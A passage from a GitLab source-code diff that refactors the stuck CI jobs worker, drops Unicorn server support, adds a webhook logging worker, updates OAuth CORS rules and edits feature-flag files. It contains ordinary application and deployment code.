- drop :running, BUILD_RUNNING_OUTDATED_TIMEOUT, 'ci_builds.updated_at < ?', :stuck_or_timeout_failure
- drop :pending, BUILD_PENDING_OUTDATED_TIMEOUT, 'ci_builds.updated_at < ?', :stuck_or_timeout_failure
- drop :scheduled, BUILD_SCHEDULED_OUTDATED_TIMEOUT, 'scheduled_at IS NOT NULL AND scheduled_at < ?', :stale_schedule
- drop_stuck :pending, BUILD_PENDING_STUCK_TIMEOUT, 'ci_builds.updated_at < ?', :stuck_or_timeout_failure
+ drop(running_timed_out_builds, failure_reason: :stuck_or_timeout_failure)
+
+ drop(
+ Ci::Build.pending.updated_before(lookback: BUILD_LOOKBACK.ago, timeout: BUILD_PENDING_OUTDATED_TIMEOUT.ago),
+ failure_reason: :stuck_or_timeout_failure
+ )
+
+ drop(scheduled_timed_out_builds, failure_reason: :stale_schedule)
+
+ drop_stuck(
+ Ci::Build.pending.updated_before(lookback: BUILD_LOOKBACK.ago, timeout: BUILD_PENDING_STUCK_TIMEOUT.ago),
+ failure_reason: :stuck_or_timeout_failure
+ )
remove_lease
end
private
+ def scheduled_timed_out_builds
+ Ci::Build.where(status: :scheduled).where( # rubocop: disable CodeReuse/ActiveRecord
+ 'ci_builds.scheduled_at IS NOT NULL AND ci_builds.scheduled_at < ?',
+ BUILD_SCHEDULED_OUTDATED_TIMEOUT.ago
+ )
+ end
+
+ def running_timed_out_builds
+ Ci::Build.running.where( # rubocop: disable CodeReuse/ActiveRecord
+ 'ci_builds.updated_at < ?',
+ BUILD_RUNNING_OUTDATED_TIMEOUT.ago
+ )
+ end
+
def try_obtain_lease
@uuid = Gitlab::ExclusiveLease.new(EXCLUSIVE_LEASE_KEY, timeout: 30.minutes).try_obtain
end
@@ -39,28 +63,27 @@ class StuckCiJobsWorker # rubocop:disable Scalability/IdempotentWorker
Gitlab::ExclusiveLease.cancel(EXCLUSIVE_LEASE_KEY, @uuid)
end
- def drop(status, timeout, condition, reason)
- search(status, timeout, condition) do |build|
- drop_build :outdated, build, status, timeout, reason
+ def drop(builds, failure_reason:)
+ fetch(builds) do |build|
+ drop_build :outdated, build, failure_reason
end
end
- def drop_stuck(status, timeout, condition, reason)
- search(status, timeout, condition) do |build|
+ def drop_stuck(builds, failure_reason:)
+ fetch(builds) do |build|
break unless build.stuck?
- drop_build :stuck, build, status, timeout, reason
+ drop_build :stuck, build, failure_reason
end
end
# rubocop: disable CodeReuse/ActiveRecord
- def search(status, timeout, condition)
+ def fetch(builds)
loop do
- jobs = Ci::Build.where(status: status)
- .where(condition, timeout.ago)
- .includes(:tags, :runner, project: [:namespace, :route])
+ jobs = builds.includes(:tags, :runner, project: [:namespace, :route])
.limit(100)
.to_a
+
break if jobs.empty?
jobs.each do |job|
@@ -70,8 +93,8 @@ class StuckCiJobsWorker # rubocop:disable Scalability/IdempotentWorker
end
# rubocop: enable CodeReuse/ActiveRecord
- def drop_build(type, build, status, timeout, reason)
- Gitlab::AppLogger.info "#{self.class}: Dropping #{type} build #{build.id} for runner #{build.runner_id} (status: #{status}, timeout: #{timeout}, reason: #{reason})"
+ def drop_build(type, build, reason)
+ Gitlab::AppLogger.info "#{self.class}: Dropping #{type} build #{build.id} for runner #{build.runner_id} (status: #{build.status}, failure_reason: #{reason})"
Gitlab::OptimisticLocking.retry_lock(build, 3, name: 'stuck_ci_jobs_worker_drop_build') do |b|
b.drop(reason)
end
diff --git a/app/workers/users/update_open_issue_count_worker.rb b/app/workers/users/update_open_issue_count_worker.rb
deleted file mode 100644
index d9e313d53df..00000000000
--- a/app/workers/users/update_open_issue_count_worker.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-module Users
- class UpdateOpenIssueCountWorker
- include ApplicationWorker
-
- feature_category :users
- tags :exclude_from_kubernetes
- idempotent!
-
- def perform(target_user_ids)
- target_user_ids = Array.wrap(target_user_ids)
-
- raise ArgumentError, 'No target user ID provided' if target_user_ids.empty?
-
- target_users = User.id_in(target_user_ids)
- raise ArgumentError, 'No valid target user ID provided' if target_users.empty?
-
- target_users.each do |user|
- Users::UpdateAssignedOpenIssueCountService.new(target_user: user).execute
- end
- rescue StandardError => exception
- Gitlab::ErrorTracking.track_and_raise_for_dev_exception(exception)
- end
- end
-end
diff --git a/app/workers/web_hook_worker.rb b/app/workers/web_hook_worker.rb
index dffab61dd0e..3480f49d640 100644
--- a/app/workers/web_hook_worker.rb
+++ b/app/workers/web_hook_worker.rb
@@ -8,6 +8,7 @@ class WebHookWorker
feature_category :integrations
worker_has_external_dependencies!
loggable_arguments 2
+ data_consistency :delayed, feature_flag: :load_balancing_for_web_hook_worker
sidekiq_options retry: 4, dead: false
@@ -15,7 +16,7 @@ class WebHookWorker
hook = WebHook.find(hook_id)
data = data.with_indifferent_access
- WebHookService.new(hook, data, hook_name).execute
+ WebHookService.new(hook, data, hook_name, jid).execute
end
end
# rubocop:enable Scalability/IdempotentWorker
diff --git a/app/workers/web_hooks/log_execution_worker.rb b/app/workers/web_hooks/log_execution_worker.rb
new file mode 100644
index 00000000000..58059370200
--- /dev/null
+++ b/app/workers/web_hooks/log_execution_worker.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module WebHooks
+ class LogExecutionWorker
+ include ApplicationWorker
+
+ idempotent!
+ feature_category :integrations
+ urgency :low
+
+ # This worker accepts an extra argument. This enables us to
+ # treat this worker as idempotent. Currently this is set to
+ # the Job ID (jid) of the parent worker.
+ def perform(hook_id, log_data, response_category, _unique_by)
+ hook = WebHook.find_by_id(hook_id)
+
+ return unless hook # hook has been deleted before we could run.
+
+ ::WebHooks::LogExecutionService
+ .new(hook: hook, log_data: log_data, response_category: response_category.to_sym)
+ .execute
+ end
+ end
+end
diff --git a/bin/changelog b/bin/changelog
deleted file mode 100755
index e796b1df600..00000000000
--- a/bin/changelog
+++ /dev/null
@@ -1,282 +0,0 @@
-#!/usr/bin/env ruby
-#
-# Generate a changelog entry file in the correct location.
-#
-# Automatically stages the file and amends the previous commit if the `--amend`
-# argument is used.
-
-require 'optparse'
-require 'yaml'
-
-INVALID_TYPE = -1
-
-module ChangelogHelpers
- Abort = Class.new(StandardError)
- Done = Class.new(StandardError)
-
- MAX_FILENAME_LENGTH = 99 # GNU tar has a 99 character limit
-
- def capture_stdout(cmd)
- output = IO.popen(cmd, &:read)
- fail_with "command failed: #{cmd.join(' ')}" unless $?.success?
- output
- end
-
- def fail_with(message)
- raise Abort, "\e[31merror\e[0m #{message}"
- end
-end
-
-class ChangelogOptionParser
- extend ChangelogHelpers
-
- Options = Struct.new(
- :amend,
- :author,
- :dry_run,
- :force,
- :merge_request,
- :title,
- :type,
- :ee
- )
-
- Type = Struct.new(:name, :description)
- TYPES = [
- Type.new('added', 'New feature'),
- Type.new('fixed', 'Bug fix'),
- Type.new('changed', 'Feature change'),
- Type.new('deprecated', 'New deprecation'),
- Type.new('removed', 'Feature removal'),
- Type.new('security', 'Security fix'),
- Type.new('performance', 'Performance improvement'),
- Type.new('other', 'Other')
- ].freeze
- TYPES_OFFSET = 1
-
- class << self
- def parse(argv)
- options = Options.new
-
- parser = OptionParser.new do |opts|
- opts.banner = "Usage: #{__FILE__} [options] [title]\n\n"
-
- # Note: We do not provide a shorthand for this in order to match the `git
- # commit` interface
- opts.on('--amend', 'Amend the previous commit') do |value|
- options.amend = value
- end
-
- opts.on('-f', '--force', 'Overwrite an existing entry') do |value|
- options.force = value
- end
-
- opts.on('-m', '--merge-request [integer]', Integer, 'Merge request ID') do |value|
- options.merge_request = value
- end
-
- opts.on('-n', '--dry-run', "Don't actually write anything, just print") do |value|
- options.dry_run = value
- end
-
- opts.on('-u', '--git-username', 'Use Git user.name configuration as the author') do |value|
- options.author = git_user_name if value
- end
-
- opts.on('-t', '--type [string]', String, "The category of the change, valid options are: #{TYPES.map(&:name).join(', ')}") do |value|
- options.type = parse_type(value)
- end
-
- opts.on('-e', '--ee', 'Generate a changelog entry for GitLab EE') do |value|
- options.ee = value
- end
-
- opts.on('-h', '--help', 'Print help message') do
- $stdout.puts opts
- raise Done.new
- end
- end
-
- parser.parse!(argv)
-
- # Title is everything that remains, but let's clean it up a bit
- options.title = argv.join(' ').strip.squeeze(' ').tr("\r\n", '')
-
- options
- end
-
- def read_type
- read_type_message
-
- type = TYPES[$stdin.getc.to_i - TYPES_OFFSET]
- assert_valid_type!(type)
-
- type.name
- end
-
- private
-
- def parse_type(name)
- type_found = TYPES.find do |type|
- type.name == name
- end
- type_found ? type_found.name : INVALID_TYPE
- end
-
- def read_type_message
- $stdout.puts "\n>> Please specify the index for the category of your change:"
- TYPES.each_with_index do |type, index|
- $stdout.puts "#{index + TYPES_OFFSET}. #{type.description}"
- end
- $stdout.print "\n?> "
- end
-
- def assert_valid_type!(type)
- unless type
- raise Abort, "Invalid category index, please select an index between 1 and #{TYPES.length}"
- end
- end
-
- def git_user_name
- capture_stdout(%w[git config user.name]).strip
- end
- end
-end
-
-class ChangelogEntry
- include ChangelogHelpers
-
- attr_reader :options
-
- def initialize(options)
- @options = options
- end
-
- def execute
- assert_feature_branch!
- assert_title! unless editor
- assert_new_file!
-
- # Read type from $stdin unless is already set
- options.type ||= ChangelogOptionParser.read_type
- assert_valid_type!
-
- $stdout.puts "\e[32mcreate\e[0m #{file_path}"
- $stdout.puts contents
-
- unless options.dry_run
- write
- amend_commit if options.amend
- end
-
- if editor
- system("#{editor} '#{file_path}'")
- end
- end
-
- private
-
- def contents
- yaml_content = YAML.dump(
- 'title' => title,
- 'merge_request' => options.merge_request,
- 'author' => options.author,
- 'type' => options.type
- )
- remove_trailing_whitespace(yaml_content)
- end
-
- def write
- File.write(file_path, contents)
- end
-
- def editor
- ENV['EDITOR']
- end
-
- def amend_commit
- fail_with "git add failed" unless system(*%W[git add #{file_path}])
-
- Kernel.exec(*%w[git commit --amend])
- end
-
- def assert_feature_branch!
- return unless branch_name == 'master'
-
- fail_with "Create a branch first!"
- end
-
- def assert_new_file!
- return unless File.exist?(file_path)
- return if options.force
-
- fail_with "#{file_path} already exists! Use `--force` to overwrite."
- end
-
- def assert_title!
- return if options.title.length > 0 || options.amend
-
- fail_with "Provide a title for the changelog entry or use `--amend`" \
- " to use the title from the previous commit."
- end
-
- def assert_valid_type!
- return unless options.type && options.type == INVALID_TYPE
-
- fail_with 'Invalid category given!'
- end
-
- def title
- if options.title.empty?
- last_commit_subject
- else
- options.title
- end
- end
-
- def last_commit_subject
- capture_stdout(%w[git log --format=%s -1]).strip
- end
-
- def file_path
- base_path = File.join(
- unreleased_path,
- branch_name.gsub(/[^\w-]/, '-'))
-
- # Add padding for .yml extension
- base_path[0..MAX_FILENAME_LENGTH - 5] + '.yml'
- end
-
- def unreleased_path
- path = File.join('changelogs', 'unreleased')
- path = File.join('ee', path) if ee?
-
- path
- end
-
- def ee?
- options.ee
- end
-
- def branch_name
- @branch_name ||= capture_stdout(%w[git symbolic-ref --short HEAD]).strip
- end
-
- def remove_trailing_whitespace(yaml_content)
- yaml_content.gsub(/ +$/, '')
- end
-end
-
-if $0 == __FILE__
- begin
- options = ChangelogOptionParser.parse(ARGV)
- ChangelogEntry.new(options).execute
- rescue ChangelogHelpers::Abort => ex
- $stderr.puts ex.message
- exit 1
- rescue ChangelogHelpers::Done
- exit
- end
-end
-
-# vim: ft=ruby
diff --git a/bin/pkgr_before_precompile.sh b/bin/pkgr_before_precompile.sh
deleted file mode 100755
index 54ff32c711b..00000000000
--- a/bin/pkgr_before_precompile.sh
+++ /dev/null
@@ -1,20 +0,0 @@
-#!/bin/sh
-
-set -e
-
-for file in config/*.yml.example; do
- cp ${file} config/$(basename ${file} .example)
-done
-
-# Allow to override the GitLab URL from an environment variable, as this will avoid having to change the configuration file for simple deployments.
-config=$(echo '<% gitlab_url = URI(ENV["GITLAB_URL"] || "http://localhost:80") %>' | cat - config/gitlab.yml)
-echo "$config" > config/gitlab.yml
-sed -i "s/host: localhost/host: <%= gitlab_url.host %>/" config/gitlab.yml
-sed -i "s/port: 80/port: <%= gitlab_url.port %>/" config/gitlab.yml
-sed -i "s/https: false/https: <%= gitlab_url.scheme == 'https' %>/" config/gitlab.yml
-
-# No need for config file. Will be taken care of by REDIS_URL env variable
-rm config/resque.yml
-
-# Set default unicorn.rb file
-echo "" > config/unicorn.rb
diff --git a/bin/web b/bin/web
index b714ad1e1bb..c1ab4718f0d 100755
--- a/bin/web
+++ b/bin/web
@@ -3,18 +3,61 @@
set -e
cd $(dirname $0)/..
+app_root=$(pwd)
-case "$USE_WEB_SERVER" in
- puma|"") # and the "" defines default
- exec bin/web_puma "$@"
- ;;
+puma_pidfile="$app_root/tmp/pids/puma.pid"
+puma_config="$app_root/config/puma.rb"
- unicorn)
- exec bin/web_unicorn "$@"
- ;;
+spawn_puma()
+{
+ exec bundle exec puma --config "${puma_config}" --environment "$RAILS_ENV" "$@"
+}
- *)
- echo "Unkown web server used by USE_WEB_SERVER: $USE_WEB_SERVER."
+get_puma_pid()
+{
+ pid=$(cat "${puma_pidfile}")
+ if [ -z "$pid" ] ; then
+ echo "Could not find a PID in $puma_pidfile"
exit 1
+ fi
+ echo "${pid}"
+}
+
+start()
+{
+ spawn_puma &
+}
+
+start_foreground()
+{
+ spawn_puma
+}
+
+stop()
+{
+ get_puma_pid
+ kill -INT "$(get_puma_pid)"
+}
+
+reload()
+{
+ kill -USR2 "$(get_puma_pid)"
+}
+
+case "$1" in
+ start)
+ start
+ ;;
+ start_foreground)
+ start_foreground
+ ;;
+ stop)
+ stop
+ ;;
+ reload)
+ reload
+ ;;
+ *)
+ echo "Usage: RAILS_ENV=your_env $0 {start|stop|reload}"
;;
esac
diff --git a/bin/web_puma b/bin/web_puma
deleted file mode 100755
index c1ab4718f0d..00000000000
--- a/bin/web_puma
+++ /dev/null
@@ -1,63 +0,0 @@
-#!/bin/sh
-
-set -e
-
-cd $(dirname $0)/..
-app_root=$(pwd)
-
-puma_pidfile="$app_root/tmp/pids/puma.pid"
-puma_config="$app_root/config/puma.rb"
-
-spawn_puma()
-{
- exec bundle exec puma --config "${puma_config}" --environment "$RAILS_ENV" "$@"
-}
-
-get_puma_pid()
-{
- pid=$(cat "${puma_pidfile}")
- if [ -z "$pid" ] ; then
- echo "Could not find a PID in $puma_pidfile"
- exit 1
- fi
- echo "${pid}"
-}
-
-start()
-{
- spawn_puma &
-}
-
-start_foreground()
-{
- spawn_puma
-}
-
-stop()
-{
- get_puma_pid
- kill -INT "$(get_puma_pid)"
-}
-
-reload()
-{
- kill -USR2 "$(get_puma_pid)"
-}
-
-case "$1" in
- start)
- start
- ;;
- start_foreground)
- start_foreground
- ;;
- stop)
- stop
- ;;
- reload)
- reload
- ;;
- *)
- echo "Usage: RAILS_ENV=your_env $0 {start|stop|reload}"
- ;;
-esac
diff --git a/bin/web_unicorn b/bin/web_unicorn
deleted file mode 100755
index 5fa15a8324b..00000000000
--- a/bin/web_unicorn
+++ /dev/null
@@ -1,59 +0,0 @@
-#!/bin/sh
-
-cd $(dirname $0)/.. || exit 1
-app_root=$(pwd)
-
-unicorn_pidfile="$app_root/tmp/pids/unicorn.pid"
-unicorn_config="$app_root/config/unicorn.rb"
-unicorn_cmd="bundle exec unicorn_rails -c $unicorn_config -E $RAILS_ENV"
-
-get_unicorn_pid()
-{
- local pid
- pid=$(cat $unicorn_pidfile)
- if [ -z "$pid" ] ; then
- echo "Could not find a PID in $unicorn_pidfile"
- exit 1
- fi
- unicorn_pid=$pid
-}
-
-start()
-{
- exec $unicorn_cmd -D
-}
-
-start_foreground()
-{
- exec $unicorn_cmd
-}
-
-stop()
-{
- get_unicorn_pid
- kill -QUIT $unicorn_pid
-}
-
-reload()
-{
- get_unicorn_pid
- kill -USR2 $unicorn_pid
-}
-
-case "$1" in
- start)
- start
- ;;
- start_foreground)
- start_foreground
- ;;
- stop)
- stop
- ;;
- reload)
- reload
- ;;
- *)
- echo "Usage: RAILS_ENV=your_env $0 {start|stop|reload}"
- ;;
-esac
diff --git a/cable/config.ru b/cable/config.ru
index c50bc41511d..421aee38346 100644
--- a/cable/config.ru
+++ b/cable/config.ru
@@ -5,6 +5,6 @@ Rails.application.eager_load!
ACTION_CABLE_SERVER = true
-use ActionDispatch::RequestId
+use ActionDispatch::RequestId, header: Rails.application.config.action_dispatch.request_id_header
run ActionCable.server
diff --git a/changelogs/unreleased/.gitkeep b/changelogs/unreleased/.gitkeep
deleted file mode 100644
index e69de29bb2d..00000000000
--- a/changelogs/unreleased/.gitkeep
+++ /dev/null
diff --git a/config.ru b/config.ru
index 0c50b3fdf6f..ed76239ef2e 100644
--- a/config.ru
+++ b/config.ru
@@ -2,25 +2,10 @@
# This file is used by Rack-based servers to start the application.
-if defined?(Unicorn)
- require 'unicorn'
-
- if ENV['RAILS_ENV'] == 'production' || ENV['RAILS_ENV'] == 'staging'
- # Unicorn self-process killer
- require 'unicorn/worker_killer'
-
- min = (ENV['GITLAB_UNICORN_MEMORY_MIN'] || 400 * 1 << 20).to_i
- max = (ENV['GITLAB_UNICORN_MEMORY_MAX'] || 650 * 1 << 20).to_i
-
- # Max memory size (RSS) per worker
- use Unicorn::WorkerKiller::Oom, min, max
- end
-end
-
require ::File.expand_path('../config/environment', __FILE__)
def master_process?
- Prometheus::PidProvider.worker_id.in? %w(unicorn_master puma_master)
+ Prometheus::PidProvider.worker_id == 'puma_master'
end
warmup do |app|
diff --git a/config/README.md b/config/README.md
index 7f3125cefd2..be5bd442fd8 100644
--- a/config/README.md
+++ b/config/README.md
@@ -147,3 +147,34 @@ searched):
3. the configuration file pointed to by the
`GITLAB_REDIS_CONFIG_FILE` environment variable
4. the configuration file `resque.yml`
+
+## redis.trace_chunks.yml
+
+If configured, `redis.trace_chunks.yml` overrides the
+`resque.yml` settings to configure the Redis database instance
+used for clients of `::Gitlab::Redis::TraceChunks` which stores CI trace chunks.
+
+Settings here can be overridden by the environment variable
+`GITLAB_REDIS_TRACE_CHUNKS_CONFIG_FILE` which provides
+an alternate location for configuration settings.
+
+The order of precedence for the URL used to connect to the Redis instance
+used for `trace_chunks` is:
+1. URL from a configuration file pointed to by the
+`GITLAB_REDIS_TRACE_CHUNKS_CONFIG_FILE` environment variable
+2. URL from `redis.trace_chunks.yml`
+3. URL from a configuration file pointed to by the
+`GITLAB_REDIS_CONFIG_FILE` environment variable
+4. URL from `resque.yml`
+5. `redis://localhost:6383`
+
+The order of precedence for all other configuration settings for `trace_chunks`
+are selected from only the first of the following files found (if a setting
+is not provided in an earlier file, the remainder of the files are not
+searched):
+1. the configuration file pointed to by the
+`GITLAB_REDIS_TRACE_CHUNKS_CONFIG_FILE` environment variable
+2. the configuration file `redis.trace_chunks.yml`
+3. the configuration file pointed to by the
+`GITLAB_REDIS_CONFIG_FILE` environment variable
+4. the configuration file `resque.yml`
diff --git a/config/application.rb b/config/application.rb
index dddd4ecac5e..5e350cb80dd 100644
--- a/config/application.rb
+++ b/config/application.rb
@@ -47,7 +47,6 @@ module Gitlab
config.eager_load_paths.push(*%W[#{config.root}/lib
#{config.root}/app/models/badges
#{config.root}/app/models/hooks
- #{config.root}/app/models/integrations
#{config.root}/app/models/members
#{config.root}/app/models/project_services
#{config.root}/app/graphql/resolvers/concerns
@@ -166,6 +165,10 @@ module Gitlab
# like if you have constraints or database-specific column types
config.active_record.schema_format = :sql
+ # Use new connection handling so that we can use Rails 6.1+ multiple
+ # database support.
+ config.active_record.legacy_connection_handling = false
+
config.action_mailer.delivery_job = "ActionMailer::MailDeliveryJob"
# Enable the asset pipeline
@@ -200,6 +203,7 @@ module Gitlab
config.assets.precompile << "page_bundles/epics.css"
config.assets.precompile << "page_bundles/error_tracking_details.css"
config.assets.precompile << "page_bundles/error_tracking_index.css"
+ config.assets.precompile << "page_bundles/group.css"
config.assets.precompile << "page_bundles/ide.css"
config.assets.precompile << "page_bundles/import.css"
config.assets.precompile << "page_bundles/incident_management_list.css"
@@ -213,11 +217,13 @@ module Gitlab
config.assets.precompile << "page_bundles/milestone.css"
config.assets.precompile << "page_bundles/new_namespace.css"
config.assets.precompile << "page_bundles/oncall_schedules.css"
+ config.assets.precompile << "page_bundles/escalation_policies.css"
config.assets.precompile << "page_bundles/pipeline.css"
config.assets.precompile << "page_bundles/pipeline_schedules.css"
config.assets.precompile << "page_bundles/pipelines.css"
config.assets.precompile << "page_bundles/productivity_analytics.css"
config.assets.precompile << "page_bundles/profile_two_factor_auth.css"
+ config.assets.precompile << "page_bundles/project.css"
config.assets.precompile << "page_bundles/reports.css"
config.assets.precompile << "page_bundles/roadmap.css"
config.assets.precompile << "page_bundles/security_dashboard.css"
@@ -309,11 +315,33 @@ module Gitlab
end
# Cross-origin requests must be enabled for the Authorization code with PKCE OAuth flow when used from a browser.
+ %w(/oauth/token /oauth/revoke).each do |oauth_path|
+ allow do
+ origins '*'
+ resource oauth_path,
+ headers: %w(Authorization),
+ credentials: false,
+ methods: %i(post)
+ end
+ end
+
+ # These are routes from doorkeeper-openid_connect:
+ # https://github.com/doorkeeper-gem/doorkeeper-openid_connect#routes
allow do
origins '*'
- resource '/oauth/token',
+ resource '/oauth/userinfo',
+ headers: %w(Authorization),
credentials: false,
- methods: [:post]
+ methods: %i(get head post)
+ end
+
+ %w(/oauth/discovery/keys /.well-known/openid-configuration /.well-known/webfinger).each do |openid_path|
+ allow do
+ origins '*'
+ resource openid_path,
+ credentials: false,
+ methods: %i(get head)
+ end
end
end
diff --git a/config/dependency_decisions.yml b/config/dependency_decisions.yml
index 774254d2ff1..573286a4c11 100644
--- a/config/dependency_decisions.yml
+++ b/config/dependency_decisions.yml
@@ -124,20 +124,6 @@
:versions: []
:when: 2016-04-17 21:49:10.329759000 Z
- - :license
- - unicorn
- - ruby
- - :who: Connor Shea
- :why: http://unicorn.bogomips.org/LICENSE.html
- :versions: []
- :when: 2016-05-02 05:45:28.817510000 Z
-- - :license
- - unicorn-worker-killer
- - ruby
- - :who: Connor Shea
- :why: https://github.com/kzk/unicorn-worker-killer/blob/master/LICENSE
- :versions: []
- :when: 2016-05-02 05:45:38.323867000 Z
-- - :license
- unf
- BSD
- :who: Connor Shea
diff --git a/config/environments/production.rb b/config/environments/production.rb
index e1a7db8d860..f1d6b6c8bbc 100644
--- a/config/environments/production.rb
+++ b/config/environments/production.rb
@@ -54,6 +54,9 @@ Rails.application.configure do
# Enable serving of images, stylesheets, and JavaScripts from an asset server
config.action_controller.asset_host = ENV['GITLAB_CDN_HOST'] if ENV['GITLAB_CDN_HOST'].present?
+ # We use a env var to keep at old default until we enable this for GitLab.com
+ config.active_record.legacy_connection_handling = !Gitlab::Utils.to_boolean(ENV.fetch('ENABLE_RAILS_61_CONNECTION_HANDLING', false))
+
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
diff --git a/config/feature_categories.yml b/config/feature_categories.yml
index 2c2922d6fae..ad2cecc2f9b 100644
--- a/config/feature_categories.yml
+++ b/config/feature_categories.yml
@@ -15,10 +15,8 @@
- audit_reports
- authentication_and_authorization
- auto_devops
-- auto_portfolio_mgmt
- backup_restore
- boards
-- browser_performance
- chatops
- cloud_native_installation
- cluster_cost_management
@@ -78,7 +76,6 @@
- license
- license_compliance
- live_preview
-- load_testing
- logging
- memory
- merge_trains
@@ -87,9 +84,11 @@
- mobile_signing_deployment
- navigation
- omnibus_package
+- on_call_schedule_management
- onboarding
- package_registry
- pages
+- performance_testing
- pipeline_authoring
- planning_analytics
- privacy_control_center
@@ -111,6 +110,7 @@
- self_monitoring
- serverless
- service_desk
+- sharding
- snippets
- source_code_management
- static_application_security_testing
@@ -130,3 +130,4 @@
- web_firewall
- web_ide
- wiki
+- workflow_automation
diff --git a/config/feature_flags/development/abort_deleted_project_pipelines.yml b/config/feature_flags/development/abort_deleted_project_pipelines.yml
index f09cc9dd86b..0e7a936e6a5 100644
--- a/config/feature_flags/development/abort_deleted_project_pipelines.yml
+++ b/config/feature_flags/development/abort_deleted_project_pipelines.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/security/gitlab/-/merge_request
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/301106
milestone: '13.9'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: true
diff --git a/config/feature_flags/development/advanced_search_multi_project_select.yml b/config/feature_flags/development/advanced_search_multi_project_select.yml
new file mode 100644
index 00000000000..4f38955fa71
--- /dev/null
+++ b/config/feature_flags/development/advanced_search_multi_project_select.yml
@@ -0,0 +1,8 @@
+---
+name: advanced_search_multi_project_select
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62606
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/333011
+milestone: '14.0'
+type: development
+group: group::global search
+default_enabled: false
diff --git a/config/feature_flags/development/allow_force_push_to_protected_branches.yml b/config/feature_flags/development/allow_force_push_to_protected_branches.yml
deleted file mode 100644
index 632e2ad0ccd..00000000000
--- a/config/feature_flags/development/allow_force_push_to_protected_branches.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: allow_force_push_to_protected_branches
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55261
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323431
-milestone: '13.10'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/allow_group_deploy_token.yml b/config/feature_flags/development/allow_group_deploy_token.yml
deleted file mode 100644
index 83f8f86b02c..00000000000
--- a/config/feature_flags/development/allow_group_deploy_token.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: allow_group_deploy_token
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23460
-rollout_issue_url:
-milestone: '12.8'
-type: development
-group: group::release
-default_enabled: true
diff --git a/config/feature_flags/development/allow_unsafe_ruby_regexp.yml b/config/feature_flags/development/allow_unsafe_ruby_regexp.yml
index 39ffa51cf9c..029b1454ea4 100644
--- a/config/feature_flags/development/allow_unsafe_ruby_regexp.yml
+++ b/config/feature_flags/development/allow_unsafe_ruby_regexp.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/10566
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/257849
milestone: '11.10'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/artifacts_management_page.yml b/config/feature_flags/development/artifacts_management_page.yml
index f2c7f54d8d8..fd85b374909 100644
--- a/config/feature_flags/development/artifacts_management_page.yml
+++ b/config/feature_flags/development/artifacts_management_page.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16654
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/254938
milestone: '12.4'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/assigned_open_issues_cache.yml b/config/feature_flags/development/assigned_open_issues_cache.yml
deleted file mode 100644
index 6075407c6ce..00000000000
--- a/config/feature_flags/development/assigned_open_issues_cache.yml
+++ /dev/null
@@ -1,7 +0,0 @@
----
-name: assigned_open_issues_cache
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59961
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325470
-group: group::product planning
-type: development
-default_enabled: false
diff --git a/config/feature_flags/development/auto_devops_banner_disabled.yml b/config/feature_flags/development/auto_devops_banner_disabled.yml
index 700560d5738..a3ecbdeb695 100644
--- a/config/feature_flags/development/auto_devops_banner_disabled.yml
+++ b/config/feature_flags/development/auto_devops_banner_disabled.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14
rollout_issue_url:
milestone: '10.0'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/background_pipeline_retry_endpoint.yml b/config/feature_flags/development/background_pipeline_retry_endpoint.yml
deleted file mode 100644
index 57f90d01e2c..00000000000
--- a/config/feature_flags/development/background_pipeline_retry_endpoint.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: background_pipeline_retry_endpoint
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61270
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330915
-milestone: '13.12'
-type: development
-group: group::pipeline authoring
-default_enabled: false
diff --git a/config/feature_flags/development/board_multi_select.yml b/config/feature_flags/development/board_multi_select.yml
new file mode 100644
index 00000000000..3c37f843a9a
--- /dev/null
+++ b/config/feature_flags/development/board_multi_select.yml
@@ -0,0 +1,8 @@
+---
+name: board_multi_select
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61955
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331189
+milestone: '14.0'
+type: development
+group: group::product planning
+default_enabled: false
diff --git a/config/feature_flags/development/boards_filtered_search.yml b/config/feature_flags/development/boards_filtered_search.yml
deleted file mode 100644
index bfb4ae46414..00000000000
--- a/config/feature_flags/development/boards_filtered_search.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: boards_filtered_search
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54641
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/322778
-milestone: '13.10'
-type: development
-group: group::project management
-default_enabled: false
diff --git a/config/feature_flags/development/branches_pagination_without_count.yml b/config/feature_flags/development/branches_pagination_without_count.yml
index e342f302b2c..ed29caff812 100644
--- a/config/feature_flags/development/branches_pagination_without_count.yml
+++ b/config/feature_flags/development/branches_pagination_without_count.yml
